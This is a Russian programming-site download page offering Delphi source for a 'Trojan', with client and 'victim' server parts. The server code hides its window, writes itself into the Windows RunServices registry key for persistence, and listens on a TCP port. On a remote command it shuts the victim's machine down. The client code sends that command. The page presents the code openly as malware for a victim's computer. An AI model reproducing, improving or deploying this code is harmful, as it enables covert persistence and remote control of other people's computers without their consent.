Навигация
Главная
Поиск
Форум
FAQ's
Ссылки
Карта сайта
Чат программистов

Статьи
-Delphi
-C/C++
-Turbo Pascal
-Assembler
-Java/JS
-PHP
-Perl
-DHTML
-Prolog
-GPSS
-Сайтостроительство
-CMS: PHP Fusion
-Инвестирование

Файлы
-Для программистов
-Компонеты для Delphi
-Исходники на Delphi
-Исходники на C/C++
-Книги по Delphi
-Книги по С/С++
-Книги по JAVA/JS
-Книги по Basic/VB/.NET
-Книги по PHP/MySQL
-Книги по Assembler
-PHP Fusion MOD'ы
-by Kest
Professional Download System
Реклама
Услуги

Автоматическое добавление статей на сайты на Wordpress, Joomla, DLE
Заказать продвижение сайта
Программа для рисования блок-схем
Инженерный калькулятор онлайн
Таблица сложения онлайн
Популярные статьи
OpenGL и Delphi... 65535
Форум на вашем ... 65535
HACK F.A.Q 65535
Бип из системно... 65535
Гостевая книга ... 65535
Содержание сайт... 65535
Вызов хранимых ... 65535
Программируемая... 65535
Эмулятор микроп... 65535
Подключение Mic... 65535
Приложение «Про... 65535
Оператор выбора... 65535
Invision Power ... 65259
Организация зап... 63908
Модуль Forms 60830
Создание отчето... 60690
ТЕХНОЛОГИИ ДОСТ... 57011
Создание потоко... 56334
Пример работы с... 54231
Имитационное мо... 52463
Реклама
Сейчас на сайте
Гостей: 7
На сайте нет зарегистрированных пользователей

Пользователей: 13,065
новичок: railval
Новости
Реклама
Выполняем курсовые и лабораторные по разным языкам программирования
Подробнее - курсовые и лабораторные на заказ
Delphi, Turbo Pascal, Assembler, C, C++, C#, Visual Basic, Java, GPSS, Prolog, 3D MAX, Компас 3D
Заказать программу для Windows Mobile, Symbian

Расчет размера дохода на одного человека в Turbo Pascal
Моделирование интернет магазина (Apache, Php, Html) на GPSS + Блок схема
Обучающая и тестирующая программа по здаче экзамена ПДД на Turbo Pascal ...

Реклама



Подписывайся на YouTube канал о программировании, что бы не пропустить новые видео!

ПОДПИСЫВАЙСЯ на канал о программировании
Professional Download System
Категории О...

Категории
Trojan [Исходник на Delphi]
На твоей машине (клиент)
У жертвы (сервер)
Троянский сервер:
- Перенести "MainFrom" из раздела "Auto-Create forms" в "Available forms".
- Бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно).
- Свойство "Port" поменять на любое другое (желательно больше 1000).
- Поставить после "uses" слово "registry".
- "OnCreate" будет выполняться следующее:
procedure TMainForm.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices','Trojan.exe',Application.ExeName);
RegIni.Free;
ServerSocket.Active:=true;
end;
- "OnDistroy" будет выполняться:
procedure TMainForm.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket.Active:=false;
end;
- У ServerSocket "OnClientRead" (процедура вызывается, когда что-нибудь приходит на порт) написать:
procedure TMainForm.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
if Socket.ReceiveText='R' then ExitWindowsEx(EWX_SHUTDOWN,0);
end;

program Trojan;
uses Forms,Windows,MainUnit in 'MainUnit.pas' {MainForm};
{$R *.RES}
var WhEvent: THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
MainForm:=TMainForm.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil,true,false,'et');
while (true) do begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

Клиентская часть:
- Бросить на форму компонент ClientSocket из раздела "Internet".
- Свойство "Port" поменять на тот, который был назначен серверу.
- В обработчике нажатия кнопки следующее:
procedure TMainForm.ButtonClick(Sender: TObject);
begin
ClientSocket.Host:=Edit.Text; // Имя
// ClientSocket.Addres:=Edit.Text // IP адрес
ClientSocket.Active:=true;
ClientSocket.Socket.SendText('R');
ClientSocket.Active:=false;
end;
Загрузки:
703
размер файла:
0.3mb
неизвестная лицензия
Kest
13/04/2009 23:37
d o w n l o a d

Голосов

Нет пока голосов за эту загрузку.

Коментарии

Нет пока коментариев к этой загрузке.

Гость
Имя

Пароль



Вы не зарегистрированны?
Нажмите здесь для регистрации.

Забыли пароль?
Запросите новый здесь.
Поделиться ссылкой
Фолловь меня в Твиттере! • Смотрите канал о путешествияхКак приготовить мидии в тайланде?
Загрузки
Новые загрузки
iChat v.7.0 Final...
iComm v.6.1 - выв...
Visual Studio 200...
CodeGear RAD Stud...
Шаблон для новост...

Случайные загрузки
Delphi 7: Для про...
Нестандартные при...
Панель случайной ...
База каталогов ( ...
Задача о 8ми ладьях
Visual Basic Script
ActiveX в Delphi
ИНТЕРНЕТ ПРОГРАММ...
Х. М. Дейтел, П. ...
CoolDev TipsSyste...
NetGraph [Исходни...
Правила программи...
Длинный заголовок...
DateEdit
3d Tank [Исходник...
Программа предназ...
Таймер и секундомер
Exe in exe
Редактор текста (...
Приложение Клиент...

Топ загрузок
Приложение Клие... 100376
Delphi 7 Enterp... 83061
Converter AMR<-... 20046
Borland C++Buil... 11173
GPSS World Stud... 10883
Borland Delphi ... 8120
Turbo Pascal fo... 6973
Visual Studio 2... 4963
Калькулятор [Ис... 4354
FreeSMS v1.3.1 3510
Случайные статьи
Измените DACL, что...
Особенности MediaP...
Изменение профиля ...
административных п...
ГЛАВА 3. ИСПОЛЬЗ...
Создание справки к...
Блоки, влияющие на...
Широкие возможност...
Визуальные аффекты
Настройка RemoteVi...
РЕЖИМ "РЕДАКТИРОВА...
Обслуживание дерев...
каталогов полномоч...
• Management — гло...
При этом не имеет ...
БЛУЖДАНИЯ БЕЗ ОРИЕ...
КОНЪЮНКЦИЯ ЦЕЛЕВЫХ...
Особенности модаль...
Строки. Изменение ...
Листинг 12.2. Прог...
svc.cpp
Что может маршрути...
Toolbox
Видео-покер и казино
Добавление нового ...
Статистика



Друзья сайта
Программы, игры


Полезно
В какую объединенную сеть входит классовая сеть? Суммирование маршрутов Занимают ли таблицы память маршрутизатора?